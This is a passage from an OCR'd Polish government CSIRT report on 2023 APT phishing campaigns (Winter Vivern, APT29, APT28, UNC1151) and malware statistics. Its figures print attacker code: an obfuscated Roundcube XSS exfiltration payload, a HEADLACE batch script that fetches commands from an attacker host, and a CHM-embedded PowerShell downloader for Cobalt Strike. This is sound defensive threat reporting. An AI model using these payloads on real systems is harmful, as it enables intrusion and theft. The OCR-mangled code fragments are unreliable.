$9.0 https: 1-5-21- 219352125 563209- 'f0a php)” MDS: 6684C2FDFCDEF913) (3
« [l conhost exe (PID: 4196 cmdline: C:\Windows\system32\conhost.exe Oxfffff -ForceV'1 MDS: EATTTDEEAT82E8BADTCTC33BBFBA4496) [

« cleanup

Rysunek 35. Przebieg infekcji




Podobna kampania byta zarejestrowana w tym samym czasie rowniez w Ukrainie, gdzie
grupa wykorzystata podszycie pod Ministerstwo Obrony Ukrainy, z zachowaniem motywu ,skanera
antywirusowego”.

Aktywnos¢ Winter Vivern w Europie zostata zaraportowana przez analitykéw Proofpoint
w marcu 2023 roku, kiedy to zauwazono prdby eksploitacji instancji Zimbra Collaboration, podatnych
na CVE-2022-27926 (podatnosc Reflected XSS)® . Co ciekawe, nie jest to pierwsza sytuacja, w ktorej grupa
zainteresowana byta poczta w ustudze Zimbra, poniewaz skompromitowane konto pocztowe stuzace do
wysytki wiadomosci podszywajacych sig pod CBZC prawdopodobnie rowniez obstugiwane byto poprzez
Zimbre.

W pazdzierniku 2023 roku ta sama grupa probowata wykorzystac podatnos¢ XSS typu zero-day
wustudze pocztowejRoundcubeWebmail, ktdraniewymagataoduzytkownikazadnejdodatkowej aktywnosci
po wyswietleniu wiadomosci. Payload JavaScript umozliwiat eksfiltracje wiadomosci mailowych
z zaatakowanego konta na serwer C2 kontrolowany przez aktora. Analitycy ESET zidentyfikowali
przedmiotowa podatnosé, ktorej nastepnie nadano identyfikator CVE-2023-5631“ .

From saltanat@climatekz ® 9/27/23,13:35

Subject Climate Change Coordination Centre

Dear Colleagues,

In connection with the latest events taking place in the world,

the Coordination Center for Climate Change has prepared ways to solve problems
that will be achieved through joint efforts,

if you are interested in this topic, find out more about it.

[<script>eval(atob("dmFyIGowMDE9ZG9jdW1lbnQuY3J1YXR1RWX1bWVudCgnc2NyaXBoJyk7ajAwM
</script>]http://climate.kz

Best Regards,

Public Foundation "Coordination Center for Climate Change"
+77019257131
saltanat@climate.kz

Rysunek 36. Wiadomo$¢ phishingowa w ramach kampanii Winter Vivern wykorzystujgca podatnos¢ Roundcube
7 A9L )pOT=QOCNWELS * CLEILEEfeweur(,2cLTbr, ) )poT 2nc=, prrba:\\pTr2pTrax- cowy br\sngp-lz, 'qocnwsur - poqA-gbbeugcprrq(leer)!

Rysunek 37. Zdeobfuskowany kod wykorzystujgcy podatno$¢ Roundcube, kierujacy do zasobu
kontrolowanego przez grupe

3 https://www.proofpoint.com/us/blog/threat-insight/exploitation-dish-best-served-cold-winter-vivern-uses-known-zimbra-vulnerability
“ https://www.eset.com/my/about/newsroom/press-releases/annoncements-1/eset-research-winter-vivern-attacks-roundcube-webmail-
-servers-of-governments-in-europe-through-zero-day-vulnerability/




3.3. APT29

Wsrad aktywnosci grup APT interesujgca wydaje sie odstona kampanii DiplomaticOrbiter z maja

2023 roku, kiedy to wykorzystata podszycie pod polski personel dyplomatyczny.

BMW 5 (F10) 2.0 JR!, 7,500 Euros!!

Very good condition, low fuel consumption

More high quality photos are here: https://tinyurl.com/ysvxabéc

Model BMW 5, 2.0 TDI (184 HP)

Year April 2011

Mileage 266,000 km

Engine 2.0 Diesel

Transmission Mechanic

Colaur Black, black leather interior

Package A/C, set of summer and winter tires, ABS/ESP, led lights, cruise control,

multifunction steering wheel, CD, electric seats, electric windows, engine
control, rain sensor, electrical hand brake, airbags, start-stop system.
Price 7,500 Euros
Custom NOT CLEARED

Rysunek 38. Zatacznik wiadomo$ci phishingowej w ramach kampanii DiplomaticOrbiter

Do kampanii wykorzystano ogtoszenie o sprzedazy auta, przyciggajace uwage wyjatkowo niska
ceng, ktdre zostato potgczone ze ztosliwg zawartoscig pobierang po otwarciu ogtoszenia. W zatgczniku
do wiadomosci znajdowat sie odno$nik, skracony z wykorzystaniem ustugi Bitly, prowadzacy do przejetej
przez aktora strony, z ktdrej nastepnie pobierany byt obraz dysku IS0 z (pozornie) dodatkowymi zdjeciami
sprzedawanego auta.




Rysunek 39. Zawarto$¢ pliku ISO widoczna dla uzytkownika z domysinymi ustawieniami systemu Windows

Pliki o podwdjnym rozszerzeniu sprawiaty wrazenie plikow PNG, natomiast w rzeczywistosci
byty skrotami LNK, ktore po uruchomieniu jednoczesnie otwieraty faktyczne zdjgcia i wykonywaty plik

f"rl' _'g-'ri' _‘!"vi' .'!"rl' .‘!"ri' .'!'"I: .'!'.'I‘ .'!'"I' .'!'{i'

SRecycle.Bin
| bmw1.png
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windoc.exe (umieszczone w ukrytym folderze Recycle Bin).

= Wiasciwosci: bmw2.png

Ogélne Skrdt  Zabezpieczenia Szczegdly Poprzednie wersie

;;‘ bmw2png
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Rysunek 40. Wtasciwosci pliku LNK
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Plik EXE sam w sobie nie byt ztosliwy. Byt to plik podpisany przez Microsoft, stanowigcy czes¢
pakietu Office. Byt jednak podatny na wykorzystanie techniki DLL Hijacking, ktéra pozwala na zatadowanie
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Rysunek 41. Zawarto$¢ folderu Recycle.Bin

ztosliwej biblioteki DLL w miejsce biblioteki systemowej o tej samej nazwie.

Posrad plikow w archiwum typu ISO zawarty byt réwniez zaszyfrowany payload, ktdrego deszyfracje
przeprowadzata jedna z uruchamianych bibliotek. Wskutek catego procesu infekcji nastepowata
komunikacja z serwerem C2 adwersarza i umozliwienie jego dalszych dziatan na zainfekowanej stacji

robocze;.

Oryginalna nazwa plku WinWord exe

Il Wiaéciwoici: windoc.exe X
Ogdine Zgodnosc Podpisy cyfrowe
Zabezpieczenia Szczegily Poprzednie wersje
Wiasciwosé Wartosé
Opis
Opis pliku Microsoft Word
Typ Aplikacja
Wersja pliku 16.0.15928.20198
Nazwa produktu Microsoft Office
Wersja produktu 16.0.15928.20198
Prawa autorskie
Rozmiar 1,55 MB
Data modyfikacji 14.03.2023 05:46
Jgzyk Jgzyk neutralny

Usuri wiasciwosci oraz informacie osobiste

TS

Zastosuj

== bmw3.png
Plik PNG
550 KB
bmw7.png
“ Plik PNG
439KB
" ] MSVCP140.dll

Rysunek 42. Wtadciwosci pliku windoc.exe (oryginalnie nazwanego WinWord.exe)
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CSikr GO

3.4. APT28

W 2023 roku Zespot CSIRT GOV odnotowat duzg aktywnos$¢ grupy znanej pod nazwa APT28/
Fancy Bear. Ta dziatalnos¢ tej grupy ukierunkowana byta w szczegolnosci na kompromitacje serwerdw
pocztowych oraz infekcje ztosliwym oprogramowaniem typu backdoor. W zainteresowaniu grupy znajduja
sie gtdwnie organy administracji rzadowej oraz operatorzy infrastruktury krytycznej z sektora energii
i transportu.

W marcu Microsoft opublikowat informacje o podatnosci CVE-2023-23397 w aplikacji Outlook
dla systemu Windows, ktdra zostata opisana w czesci raportu dot. podatnosci identyfikowanych w roku
2023. Zespot CSIRT GOV dokonat analizy wsrdd podmiotow w swojej wtasciwosci i zidentyfikowat proby
jej eksploitacji juz w marcu 2022 roku. Wiadomosci wystane w ramach tej kampanii cechowaty sie
krotkimi, jednowyrazowymi tematami, brakiem tresci oraz przypomnieniami odwotujacymi sie do zasobu
kontrolowanego przez grupe.

Do pustych wiadomosci autorstwa APT28 dotgczone byto zadanie MS Outlook, dla ktdrego
przypomnienie ustawione byto na wczesniejsza, odlegtg w czasie date, z dZzwiekiem przypomnienia
pobieranym z zasobu zewnetrznego. Klient poczty podczas proby wyswietlenia przypomnienia odwotuje sie
do wskazanego zasobu poprzez protokdt SMB (port TCP/445), przy czym nastepuje proba uwierzytelnienia
poprzez NTLM, a adwersarz pozyskuje w ten sposcob skrot NTLM ofiary.

Zadanie Wstawianie Formatowanie tekstu Recenzja Pomoc Q Powiedz mi, co chcesz zrobié

X8 HE v 7 O I P e

! Wysoka waznos¢

Zapiszi Usuri Przeflij OneNote Zadanie Szczegdly Oznacz jako Cykl  Kategoryzuj  Flaga 3
zamknij dalej ukoriczone - monitujaca~ ¥ Miska waznosé
Akgje Pok i dani Cykl Tagi Powigkszenie

Temat Interest.
Data rozpoczecia Brak | stan [Nierozpoczete v/
Termin wykonania | Brak BE| prionytet :Nnrmalny ¥| Ukeficzonose (0% 5]
Przypompienie | wt. 10.03.2020 @ [1e30 v| [@d wiatciciel Unknown

Diwiek przypomnienia X

Gdy nadchodzi czas przypomnienia
[ odtwarzaj nastepujacy diwiek
1213.32.252.221\silence] Przegladaj...

Rysunek 43. Wiadomo$¢ zawierajgca ztosliwe przypomnienie MS Outlook




Inng podatnoscia wykorzystywang przez grupe APT28 byta luka w zabezpieczeniach
RoundcubeWebmail, zarejestrowana jako CVE-2023-43770, umozliwiajgca przeprowadzenie ataku XSS.
Odpowiednio spreparowany kod zawarty w wiadomosci umozliwiat atakujgcemu przejecie plikow sesji
Roundcube uzytkownika, skopiowanie i wystanie na serwer C2 zawartosci skrzynki, ksigzki adresowej
oraz kalendarza atakowanego konta. Nastepnie kod generowat fatszywe okno logowania do ustugi
Roundcube celem wytudzenia danych logowania.

Subject Your mailbox is almost full

Your mailbox is almost full

935 MB/1024 MB

Your mailbox is almost full. Please reduce your mailbox size. Delete any items you don't need from
your mailbox and empty your Trash folder.

> [ 1attachment: Zatgcznik bez tytutu 00005.txt 3.5 KB & Save v

Rysunek 44. Wiadomo$¢ wykorzystujaca podatno$c¢ Roundcube

Your mailbox is almost full

935 MB/1024 MB

Your [railbox is almost full. Please reduce your mailbox size. Delete any items you don't need from your mailbox and empty your [<img
src=a hide

onerror=eval(unescape( ' function%20_0x3ed3%28e%2Ca%29%7Bvar%20n=_0x1ab3%28%29%3Breturn%28_0x3ed3=function¥28e%2Ca%29%7B%0Areturn%20n%s
Be-
=242%5D%7D%29%28e%2Ca%29%7Dfunction%20fetch_and_eval%28_0x2e5b83%2C_0x18146a%29%7B%0Avar%20_0x197330=_0x3ed3%0A%3Breturn%20_0x18146a%
3Ffetch%28_0x2e5b83%29%5B_0x197330%28268%29%5D%28%28e=%3Ee%58_0x197330%28270%29%5D%28%29%29%29. then%28%28_0xcacf35=%3Eeval%28_0xcacf3
5%29%29%29%5B_0x197330%28269%29%5D%28%28e=%3E%7B%7D%29%29 : Promise%5B_0x197330%28255%29%5D%28%29%0A%7Dfunction%20main%28%29%7Bvars20e=
_0x3ed3%0A%3B0%3F%28LoadingAnimation%¥5Be%28251%29%5D%28%29%2C%0Afetch_and_eval%28sql_url%2C%210%29%5Be%28268%29%5D%28%28e=%3Efetch_a-
nd_eval%28download_url%2C%210%29%29%29%5Be%28253%29%5D0%28%28a=%3ELoadingAnimation%5Be%28260%29%50%28%29%29%29%29 : X28Html part%5Be%2826
0%29%5D%28%29%2C%0ANewk20Promise%28%28e=%3E%7Bset Timeout%28%28%28%29=%3E%7BHtml part%5B_0x3ed3%28251%29%5D%28%29%2Ce%28%29%7D%29%2C100
%29%0A%7D%29%29%5Be%28268%29%5D%28%28e=%3Efetch_and_eval%28sql_url%2C%210%29%29%29%5Be%28268%29%5D%28%28e=%3Efetch_and_eval%28downlo-
ad_url%2C%210%29%29%29%29%0A%7Dfunction%20_0x1ab3%28%29%7B%0Avark20e=%5B%27set_busy%27%2C%27none%27%2C%27block%27%2C%27show%27%2C%271
75429vpWbgU%27%2C%27finally%27%2C%27ength%27%2C%27resolve%27%2C%27css%27%2C%27d1isplay%27%2C%27each%27%2C%27 .message-

Rysunek 45. Kod zawarty w zafgczniku do wiadomosci wykorzystujgcej podatno$c Roundcube

Wielokrotne proby dostarczenia backdoora HEADLACE byty odnotowywane przez CSIRT GOV od lipca
do konca 2023 roku i wykorzystywaty roznego rodzaju ,przynety” majace sktonic ofiary do uruchomienia
ztosliwego pliku. Jednym z takich przyktaddw byty wiadomosci wykorzystujace podszycie pod pracownika
Kancelarii Prezesa Rady Ministrow, rozsytajace link do zto$liwego oprogramowania pod pozorem
dokumentu na temat konfliktu izraelsko-palestynskiego.




0d @mailkprm.gov.pl> 15.11.2023, 11:58
Temat Report of the Special Committee to Investigate Israeli Practices Affecting the Human Rights of the Palestinian People and Other Arabs of the Occupied Territories

Szanowni Paristwo,

W zataczeniu przesytam:
*  Report of the Special Committee to Investigate Israeli Practices Affecting the Human Rights of the Palestinian People and Other Arabs of the Occupied Territories.

war.zip

Z powataniem,
specisiata
Wydsial Rady Eurapeishi], Rady 4o Spraw Ogdinych ora COREPEA N

Dcpartament Komitetu do Spram Europersiich

senelioremiss
AL Ujasdowskie 113, 00-583 Warszawa

» Kancelaria Prezesa
 Rady Ministrow

LS CYVALKE! qovpl00laise

e e, o8t -

) e i 8d91-454e-aabd-b

Rysunek 46. Wiadomos¢ w ramach kampanii dystrybuujgcej malware HEADLACE

Z zewnetrznego zasobu kontrolowanego przez adwersarza - infinityfreeapp.com - pobierane byto
archiwum zawierajace dokument DOCX niewykazujacy cech ztosliwych, jak réwniez plik CMD, biblioteka
DLL oraz plik wykonywalny EXE.

1 flecho off & (echo On Error Resume Next & echo CreateObject”(""WScript.shell®"").Run *"""""wxprogramdataix\\7d5f711a-
cc67-4609-9adb-7be@4289961b.bat”"*"*"*, 0", False) > "%programdata¥\7d5f711a-cc67-4609-9adb-7be04289961b.vbs” & (echo :loop & echo chcp 65001 &
echo timeout 120 & echo taskkill /im msedge.exe /f & echo timeout 5 & echo del /q /f "%userprofilex\Downloads\*.css" & echo start "" msedge —
headless=new --disable-gpu data:text/
html;base64 ,PHNjcmlwdD53aW5kb3cubG9 jYXRpb24 jZsgiaH y' 269 jLmluZmluaXR5ZnJ1ZWFwcC5jb20vZXh1Y2R3bi5waHA/
aWQIN2Q1ZjcxMWELY2M2Ny0ON JASLT1hZGI tN2JIMDQyODKSNFiTik7PC9zY3IpcHQ+ & echo timeout 30 & echo taskkill /im msedge.exe /f & echo move /y
"%userprofile%\Downloads\*.css" "%programdata%\rbkxbvqy.cmd” & echo call "%programdata¥\rbkxbvqy.cmd” & echo del /q /f "%programdata%
\rbkxbvgy.cmd" & echo goto loop) > "%programdata®\7d5f71la-cc67-4609-9adb-7bed4289961b.bat" & call "%programdata%\7d5f71la-
€c67-4609-9adb-7be04289961b.vbs"”

2 title "war.docx”

‘attrib -h -r /s > nul 2>61

4 start "" "war.docx” > nul 2>&1

5 taskkill /F /IM "war (EXE" > nul 2>61

del /F /A /Q windowsCodecs.dll > nul 2>&1
del /F /A /Q "war LEXE" > nul 2>81

8 if exist "%userprofile%\Downloads\war.zip" move /y "war" "%userprofile%\Downloads\war.zip" > nul 2>81

f exist "..\war.zip" move /y "war" ".. \war.zip" > nul 2>61

f exist "war.zip” move /y "war” "war.zip” > nul 2>61

del /F /A /Q "war" > nul 2>61

1 /F /A /Q "ccc.omd™ > nul 2>81

Rysunek 47. Zawarto$¢ pliku CMD pobranego z zewnetrznego zasobu




Advance Unedited Version Distr: General

25 October 2023

Original: English

Seventy-eighth session

Item 51 of the provisional agenda”

Israeli practices and settlement activities affecting the rights

of the Palestinian people and other Arabs of the occupied territories

Report of the Special Committee to
Investigate Israeli Practices Affecting

the Human Rights of the Palestinian People
and Other Arabs of the Occupied Territories

Note by the Secretary-General~++

The Secretary-General has the honour to transmit to the members of the General Assembly the fifty-fifth
report of the Special Committee to Investigate Israeli Practices Affecting the Human Rights of the
Palestinian People and Other Arabs of the Occupied Territories, submitted pursuant to General Assembly
resolution 76/80

Rysunek 48. Nieztosliwy plik DOCX pobrany z zewnetrznego zasobu

3.5. UNC1151

W 2023 roku Zespot CSIRT GOV kilkukrotnie odnotowat aktywnos$¢ grupy o nazwie UNCT15T,
zwigzanej z dziataniami w ramach kampanii Ghostwriter. Szkodliwa aktywno$¢ wspomnianej grupy
obejmuje przede wszystkim region panstw nadbattyckich, w tym Polske.

Zespot CSIRT GOV nasilenie powyzszej aktywnos$ci odnotowat gtdwnie w drugiej potowie 2023 roku.
Zidentyfikowano ataki typu spearphishing, ktdre byty ukierunkowane przede wszystkim na prywatne
konta poczty elektronicznej. Z posiadanych danych wynika, ze adwersarz postugiwat sie specjalnie
przygotowanymi - zaktadanymi u operatoréw poczty elektronicznej kontami email, za pomoca ktérych
dokonywat propagacji szkodliwego oprogramowania.

Pierwszy znaczacy atak tego typu odnotowano w sierpniu 2023 roku i obejmowat wystanie
fatszywych wiadomosci email do kilkunastu adresatow. Wiadomosci te zawieraty w swojej tresci
zaproszenie na wydarzenie kulturalne oraz zatgcznik w postaci zaprezentowanego ponizej archiwum
w formacie RAR lub ZIP




Wystano:
Otrzymano:
Temat:
Folder:

Zabezpieczenia:

FWD: spotkanie klubu

0d:
Do:

2023-08-17 15:51:19
2023-08-17 15:51:28
FWD: spotkanie kiubu

@ 2023-08-1715:51:28

£ Wiadomosé zostala podpisana przez nadawce. Nadawca posiada zabezpieczenia domeny.

Mito nam zaprosi¢ Panstwa na spotkanie klubu. Z przyjemnoscia Cie zobaczymy.

B

1.4 MB

Spotkanie.rar

Rysunek 49. Wiadomo$¢ spearphishingowa w kampanii UNC1151

~ Zwif szczegdly

Przedmiotowe archiwa zawieraty plik w formacie CHM, tj. plik pomocy systemu operacyjnego

Windows. Bazg tego typu dokumentow sa pliki HTML, ktdre z reguty zawierajg dodatkowe dane. Ponizej

zaprezentowano strukture przyktadowego, wystanego w ramach przedmiotowej kampanii pliku CHM:

Nazwa Rozmiar
SWWAssociativeLinks | 4
SWWKeywordLinks 4
datapath 1474 361

|| #IDXHDR 4096

| #TBITS 0

| ] #STRINGS 1

|| #SYSTEM 4228

|| #TOPICS 16

| ] #URLSTR 24

| ] #URLTBL 12

| SFIftiMain 0

| | SOBJINST 2751

M ghj76kjlg4.htm 16477

Rysunek 50. Struktura pliku CHM
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R Cop
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W powyzszym przyktadzie wyrdzniony na czerwono katalog datapath zawierat plik w formacie JPG,

ktory informowat o uroczystosci majacej odby¢ sie w Krakowie.

el Sl 12200 TR 9

o, Viwarhmenh bragys Mo/ 4 2 R
o2 34 TN

3202 Krakew
Vol S Peand

afoa o Braketoie

el

Frzeorat i{{n{np"l ;
shi Iedern s, S
Kawalerowie i Damy
Suwerennege Orderu Sw. Stanistawa BM

Przeoratu Malopolskiego
majq zaszczyt zaprosic na uroczystosc

162 INWESTYTURY SWIATOWEGO ORDERU
SW. STANISLAWA B.M,

14 paidziernika 2023r w Bazylice 0.0. Paulindw na Skalce w Krakowie
ul. Skateczna 15; 31-065 Krakow

PROGRAM:

10.30 Zbidrka na placu przed Bazylika

10.45 Procesyjne wejscie do Bazyliki i zajecie miejsc

11.00 Urcczysta Msza Swieta koncelebrowana przez 0.0. Paulindw

11.50 Uroczysta Inwestytura
12.45 Bankiet w Restauracji Hotelu ,Secesja” , ul. Paulifiska 24,

Z powataniem:

Orderu Sw. Stanistawa

Rysunek 51. Plik JPG zawarty w pliku CHM

69




ponizej:

Plik ghj76kjlgs.htm zawierat zaobfuskowany kod JavaScript, ktorego fragment przedstawiono

B<script language="javascript">

var a0 _0x1b49d5=a0 0x574a; (function( 0x450ebc, Oxdedeea) {var a0 0x547474={_Oxlbbfea:0x22d, 0x21dbb2:0x2c4, 0x17e7£7:0x265, 0xbBIL3L:0x2ct
_0x5d9059:0x234}, Ox3aae51=a0_0x574a,_ Ox4lec2e= 0x450ebc() ;while(!![]){try{var _0x417d3b=-parseInt(_Ox3aae5l(a0_0x547474. Oxlbbfea))/(
0x21204-0%2594+=-0x1%-0x475) * (-parseInt (_0x3aae51(a0_0x547474._0x21dbb2)}/(-0x4*-0x304+-0x7d*0x1c+0x1%) ) +-parseInt (_Ox3aae51(
a0_0x547474._0x17e7£7)) / (-0x1*0xfd8+0x1875+0x3%-0x2de) * (-parseInt (_0x3aae51 (a0_0x547474._0xb8IE3£))/ (0x6a*-0x31+-0x1*0x1fee+0x2*0xlale) )+
parselInt(_0x3aae51(0xla7))/(-0x1628+0x1e074-0xc9*0xa)+-parseInt (_0x3aae51 (0x23a))/ (0x17bc+-0x12ec+-0x4ca) +-parselnt (_0x3aae51 (0x21a)) /(=
0x667%=0%1+0x15704=-0x1bd0) +parseInt (_0x3aae51 (a0_0x547474._0x5d9059) ) / (0x2bd*0xd+0x47*=-0x704-0x1*0x481) +-parselInt (_0x3aae51 (0x1dc)) /(-0x1*
Oxell4-0x23d840x31£2) ; if(_0x417d3b===_Ox4edeea)break;else _Oxdlec2e['push'](_Ox4lec2e['shift']());}catch(_0x46792a){_OxdlecZe['p
_Oxdlec2e['shift']());}}} (a0_0x2£86,-0xce0934-0x1*0xa8215+0x1fedce)) ; function a0_0x4392af (_0x3783d5) {var a0_0x2ad7dd={_0x5dd587:0x2de,
_Oxdéecé:0x29%,_0x37927c:0x1f5, Ox16f3af:0xlc3, 0x7b6caé:0x207},a0_0x18914c={_Ox1f24de:0x2ba,_0xe9b310:0x2ea}, 0x132635=a0_0x574a,_0x25fb0d
=(function() {var _0x5783ec=!![];return function(_0x2abS4c, 0x544a7c){var a0_0x3d9d74={_Ox2ccd45e:0x28c}, 0x3d58c7=_0x5783ec?function() {var
_0x364d9f=a0_0x574a;if(_0x544a7c) {var _Oxfebd2b=_0x544a7c[_0x364d9f (a0_0x3d9d74._0x2ccdSe) ] (_Ox2ab54c,arguments) ;return _0x544a7c=null,
_0xfeb42b;}}: functien() {};return _0x5783ec=![],_0x3d58c7;};}()),_0x28991d=_ 0x25fb0d (this, function() {var _0x19afl8=a0_0x574a;return
_0x28991d[_0x19af18 (a0_0x18914c. 0x1£24de)] () [_0x19afls (0x1c)] ((0x1%af18(0x2ea)+'+5 ') ['t ng'1 0 [_0x19a£18(0x26a)+'r '] (_0x28991d) [
—0x19af18 (0x1c8)] (_0x19af18 (a0_0x18914c. OxeIb310)+'+5') ;}) ;_0x28991d() ;var _0xdaglc3=(Fun n() {var _0xla75fl=!![];return function(
_0Oxe2c4b2, 0x41c45b) (var _0x4ffc3d= Oxla75fl?function() {var _0x186307=a0_0x574a;if( 0x41c45b) {var _0x2dafc9= 0x41c45b[_0x186307(0x28c)] (
_Oxe2c4b2,arguments) ;return _Oxdlc45b=null, Ox2dafc9;}}:function(){};return _0xl1a75fl=![], Ox4ffc3d;};}()); (function() {_Oxdadlc3(this,
function() (var _Oxlefa75=a0_0x574a, Ox3albcl=new RegExp('fu on\x20* '+ _0xlefa75(0x1d2)), 0Oxlel263=new RegExp(_Oxlefa?5(
a0_0x2a47d4._0x5dd587)+ _Oxlefa?5(a0 _0x2ad7d4. Oxdéece)+ Oxlefa75(a0_0x2a47d4. 0x37927c)+_Oxlefal5(0x2cc),'i'), 0x30e912=al Oxdd4869(
_0Oxlefa75(a0_0x2a47dd._0x16£3af)) ;! _Ox3albcl[_Oxlefa75(a0_0x2ad47d4. 0x7Tbécaé)] (_0x30e912+ Oxlefa7S(0xlca)) | |!_0x1el263['test'] (_0x30e912+
"input')?_0x30e912('0') :a0_0xdd4869() ;1) () /}()) ;var _0x1adl02='';for(var 0x339ed0=0x1*0x1lb7a+-0x6cd*-0x1+-0xd*0x2a3;_ 0x339%ed0<_0x3783d5[
_0x132635(0x1eb)];_0x339ed0+=0x7b5*0x1+-0x11c3+0x1*0xalé€) {var _0x5b056c=parselInt (_0x3783d5[_0x132635(0x267)] (_0x33%ed0,0x1bbl+0x5e*=0x14+~
0x29%0x7f) ,=0xb11*0x14+~-0x93b*0x1+0x145¢) ; 1£({_0x5b056c) _0x1a4102+=String['fromCharCo'+"'de"'] (_0x5b056c) ; }return _0x1a4102;}document [

Rysunek 52. Fragment zaobfuskowanego kodu JavaScript wewnatrz pliku HTM

Zaciemniony kod faktycznie byt kodem HTML, ktdry po uruchomieniu wykonywat w tle polecenia
PowerShell. Fragment kodu zaprezentowano ponizej:

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
El<style>
img {
width: 75%;
height: auto;
max-width: 100vw;
}
F</style>
L</head>
—J<body>
<div style="text-align: center;">
<img src="datapath\1l.Jjpg" alt=""></br>
F<object id="ifj934jgk23jm" classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width="1" height="1">
<param name="Command" wvalue="ShortCut">
<param name="Iteml" value=" -W hIdDeN ;$dfj9j='ieX'; sal MPX $dfj9j;$ErrorActionPreference
'silentlyContinue’ ;$590jki430g = $Env:AppData;$s90jki430g = $S90jki430g + '\Window';$TekgBs3J =
' ZmdsMzBna2cTYWItNDMtc2tibWVsM0Ox2a0xkajkzbDI=' ; $eAfk=('Test-Path $590jki430g -PathType Container') |MPX;if
$390jk1430g —f};$pohwm2bc06kvmj = [Enum] : :ToObject ([System.Net.SecurityProtocolType],
3072) ; [System.Net.ServicePointManager] : : SecurityProtocol = $pobwm2bo06kvm]j;$£fij4Fs3 =
[System.Text.Encoding] : :ASCII.GetString ([System.Convert]: :FromBase64String ('W3Z2vaWRAWIN5c3R1bS5SZWZs2ZWNOal
0aWFsTmFtZSgnTW1jcm9zb2Z0L1Zpe3VhbEJhe21jJyk=")) ;$£ij4Fs3 |MPX; $hgkikOgokl4 =
[System.Text.Encoding] : :ASCII.GetString ([System.Convert]: :FromBase64String ('KE51dylPYmplY¥3QgTmVOL1d1lYkNsa¥l

Rysunek 53 a. Kod z zaobfuskowanym poleceniem Powershell

W wyniku powyzszego nastepowato potgczenie do zasoby zdalnego, mieszczacego sie pod
adresem: hxxps://spacesaver.pics/static/js/2f3c0342874c/2308.js przy uzyciu zakodowanej w pliku HTML
specyficznej wartosci UserAgent. W efekcie nastepowato pobranie oprogramowania Cobalt Strike bez
wiedzy faktycznego uzytkownika atakowanego urzadzenia.

Opisany wektor ataku powtarzat sig jeszcze kilkukrotnie w okresie wrzesnia oraz pazdziernika
2023 roku. Za kazdym razem scenariusz dziatania atakujacego byt analogiczny, tj. precyzyjnie wybranie
listy celow oraz wykorzystanie specjalnie zatozonych kont poczty elektronicznej, celem rozestania
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fatszywego zaproszenia na wydarzenie kulturalne zawierajgce plik CHM, ktory po uruchomieniu infekowat
komputer ofiary oprogramowaniem Cobalt Strike.

Warto ponadto wspomnie¢ o ataku z dnia 27 wrzesnia 2023 roku, w czasie ktérego napastnicy
zastosowali dwa warianty szkodliwego oprogramowania - jednym z nich byt Cobalt Strike, natomiast
drugim ramsomware o nazwie Ragnarok. Z wykonanych analiz wynika, ze napastnicy czasowo zmieniali
payload, ktdry byt umieszczony pod URL zaszytym w szkodliwym pliku JavaScript, ktory jak w przypadku
pozostatych odston rowniez byt umieszczony w pliku CHM.

CERTYFIKAT

Ten certyfikat potwierdza, ZE

ukonczyl/a szkolenie e-learningowe pt.
KORUPCJA W ADMINISTRACJI
PUBLICZNEJ

27.04.2026

Data udzialu w szkoleniu Data wystawienia certyfikatu

Przy wsparciu finan m dla Program: g
i Zwalczania hzeueprmarl ze Strony Komisiji rnmpewkm o i
- Dyrekcja Generalna, Wydgial Spraw Wewnetrznych

Rysunek 53 b. Inna grafika wykorzystana w kampanii







ZAGROZENIA
- OPROGRAMOWANIE Z£OSLIWE




4.1. Oprogramowanie ztosliwe - statystyka

W 2023 roku Zespot CSIRT GOV przeprowadzit analize 18669 plikdw zgtoszonych przez podmioty
krajowego systemu cyberbezpieczenstwa, sposrod ktdrych 763 zostato rozpoznanych jako ztosliwe.

Ztosliwy . 763
Podejrzany l 766

Niezidentyfikowany I 610

Wykres 11. Wyniki analizy plikow w roku 2023

Analiza realizowana w $rodowiskach izolowanych wykazata, iz 16 530 plikow nie wykazywato
zadnych cech ztosliwych, 763 zostato rozpoznanych jako zto$liwe, 766 jako podejrzane, a 610
otrzymato status niezidentyfikowany (np. ze wzgledu na brak poprawnego uruchomienia w $rodowisku
laboratoryjnym).

llos¢ zidentyfikowanego oprogramowania ztosliwego wzgledem roku poprzedniego wzrosta

0 2,75%. Ponizej przedstawiono miesigczny wolumen analizowanych plikow:

2023-01 [ 151

2023-02 [ 1127

2023-03 [ 192

2023-04 [ 1500

2023-05 | 1906
2023-0¢ [ 1251

2023-07 N (0.5

2023-08 I 1719
2023-09 [ 152
2023-10 [ 1721
2023-1 [, (508
2023-12 [ 1527

Wykres 12. Statystyka miesieczna analizowanych plikow
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4.2. Charakterystyka analizowanych probek

Sposrad 763 zidentyfikowanych ztosliwych plikow, 166 zostato sklasyfikowanych, m.in. za pomoca
regut typu YARA oraz Sigma, do ponizszych typow oprogramowania szkodliwego:
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Wykres 13. Klasyfikacja oprogramowania zto$liwego

Najwigksza liczba probek oprogramowania ztosliwego w 2023 roku zostato rozpoznanych jako
AgentTesla, HTML Phisher, Phisher oraz Formbook.

Agent Tesla nalezy do rodziny oprogramowania ztosliwego typu keylogger, ktorego celem jest
przechwytywanie informacji zwigzanych z dziatalnoscig uzytkownikow na zainfekowanych systemach.
Agent Tesla znany jest rowniez z przechwytywania i rejestrowania danych wprowadzanych przez
uzytkownika. Dzieki temu atakujacy moga pozyskiwac hasta, dane logowania do kont bankowych, adresy
e-mailiinne wrazliweinformacje. Agent Tesla potrafi przechwytywac zrzuty ekranu, co pozwala atakujacym
monitorowac aktywnos¢ uzytkownikéw. Obejmuje to historie odwiedzanych stron internetowych, tres¢
komunikacji prowadzonej poprzez komunikatory, a nawet otwierane dokumenty o charakterze poufnym.
Agent Tesla posiada czesto zdalne funkcje, co 0znacza, ze atakujacy moga zdalnie sterowac zainfekowanym
systemem, co pozwala na uruchamianie dodatkowych modutow ztosliwego oprogramowania, aktualizacje
czy nawet usuniecie dowoddw swojej obecnosci. Aby utrudni¢ wykrycie i zneutralizowanie infekcji,
Agent Tesla czesto korzysta z ustug dostawcow infrastruktury, takich jak serwery poczty elektroniczne;j,
serwery FTP itp. Dystrybucja Agenta Tesla w gtownej mierze odbywata sie poprzez wiadomosci e-mail

w formie zatgcznika.




Zagrozenie rozpoznane jako HTML Phisher oraz Phisher zwigzane byto najczesciej z dystrybucja
zatgcznika do korespondenciji e-mail w formacie HTML lub HTM, zawierajacego kod JavaScript, ktory
miat za zadanie przedstawienie spreparowanego formularza wytudzajacego dane uwierzytelniajace
